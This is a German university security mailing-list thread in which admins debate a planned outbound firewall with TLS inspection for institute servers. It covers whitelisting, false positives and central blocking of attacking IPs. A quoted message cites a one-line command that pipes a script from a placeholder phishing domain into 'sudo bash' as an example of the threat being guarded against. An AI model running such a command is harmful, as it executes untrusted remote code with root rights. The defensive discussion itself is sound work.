Hallo, ein paar technische Anmerkungen zum Betrieb einer solchen Firewall: Wenn beim outgoing traffic was auffällt, ist das Kind meistens ja schon in den Brunnen gefallen. Ich kriege die email, Sie haben arbeit, also dann Stunden später, statt wie bisher Tage später. Wahrscheinlich wird es sehr einfach sein, die Betriebssystem Update Server auf die Whitelist zu setzen. Meist wird beim linux ja eine https Verbindung zu denen aufgebaut. Für mein Institut finde ich den Filter für ssh Server sehr sinnvoll. Wer outgoing traffic machen möchte bei mir, soll bitte vpn nehmen, bzw. ein weiteres ssh auf einen client machen. Für https betreibe ich seit grob einem Jahr schon die mod_security Webfirewall, die sowas macht wie deep inspection. Da habe ich folgende Dienste auf die Whitelist setzen müssen, da sie sonst richtig nicht funktionieren: svn über https git über https webmail über https smartsieve über https Was auch nicht geht, worüber ich aber sehr froh bin, ist das editieren des CMS Webcontent Systems. Änderungen daran sind nur RWTH intern möglich. Weiterhin sehe ich überall da Testbedarf, wo eine Webapplikation eine Form aufmacht, über die Daten geschickt werden. Da alles über den gleichen Server läuft, müsste die Whitelist also url-basiert gehen. Log Auszüge per email finde ich gruselig. Da fände ich einen Auszug per rsyslog besser. Ein wenig künstliche Intelligenz liesse sich einführen, wenn genug Institute und Admins mitmachen. Wenn die IP-Adressen von failed logins auf ssh / imap / smtp / rdp Servern zentral gemeldet würden und böse https Anfragen auch, dann könnte die zentrale firewall eine IP blocken, wenn sie von mindestens x Instituten gemeldet wird. Viele Grüße Frank Knoben On 11.02.19 15:32, Jens Hektor wrote:
Hi,
Am 11.02.19 um 10:11 schrieb Hinrikus Wolf:
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein. danke. Wurde dann ja auch so fortgeführt.
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash. Was natürlich auch von Malware gemacht werden kann. Richtig. Darum geht es.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre. Ich finde es besser, hier ein offene Diskussion mit Euch zu führen, um zu erfahren, was geht, was nicht geht, wo der Schuh drückt usw ...
Die Admin-Runde kommt dann dran, wenn wir unter Berücksichtigung aller Einwände und nach ein paar Tests mit Freiwilligen ein Konzept haben, mit dem arbeiten wollen. Aber das ganze soll dieses Jahr stattfinden.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen). Ich habe mir als proof of concept so einen Setup für mein Laptop genauer: ein kleines Netz aufgebaut. In das Netz stecke ich schon mal den einen oder anderen Virenverseuchten Rechner, und ja, das hilft.
Betriebliche Erfahrungen mit Servern haben wir noch nicht.
Die Kollegen aus Clausthal haben beim umgekehrten Weg (also der externe Traffic zu HTTPS-Servern im Hochschulnetz) keine nennenswerten Einbußen bemerkt:
https://www.dfn.de/fileadmin/3Beratung/Betriebstagungen/bt68/BT68_IPWIN_Intr...
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden? Zunächst mal möchte ich einen hohen Anteil der Systeme haben, die Dienste für die Welt anbieten. Das ich 100% der Systeme nicht kriege, ist mir auch klar.
Eine Fragestellung für mich ist zum Beispiel, wie spezifisch könnnen Ausnahmen formulieren.
Wenn die kritischen Kommunikationspartner eines Servers bekannt sind (z.B. die Bank), kann man solchen Traffic heutzutage ausnehmen.
Soll nur überwacht werden oder auch geblockt werden? Nun, eine IPS Komponente wird blocken, wenn sie meint, hier passiert etwas schlimmes.
Ja, und "false positives" gibt es. Bisher ist das aber beherrschbar. Ich denke nicht, dass der Anteil wesentlich steigt, wenn man in TLS reinschaut.
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf Interessantes Paper, betrifft aber eine etwas andere Geräteklasse. Aber Tests dieser Art wären hier auch interessant, und der Hersteller der Firewallsysteme interessiert sich durchaus für Anmerkungen und Verbesserungsvorschäge seiner Kunden und setzt so etwas auch um.
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet. Wenn hier jemand solche Tests machen will, ist er herzlich willkommen.
Gruß, Jens Hektor
_______________________________________________ rwth-security mailing list -- rwth-security@lists.rwth-aachen.de To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de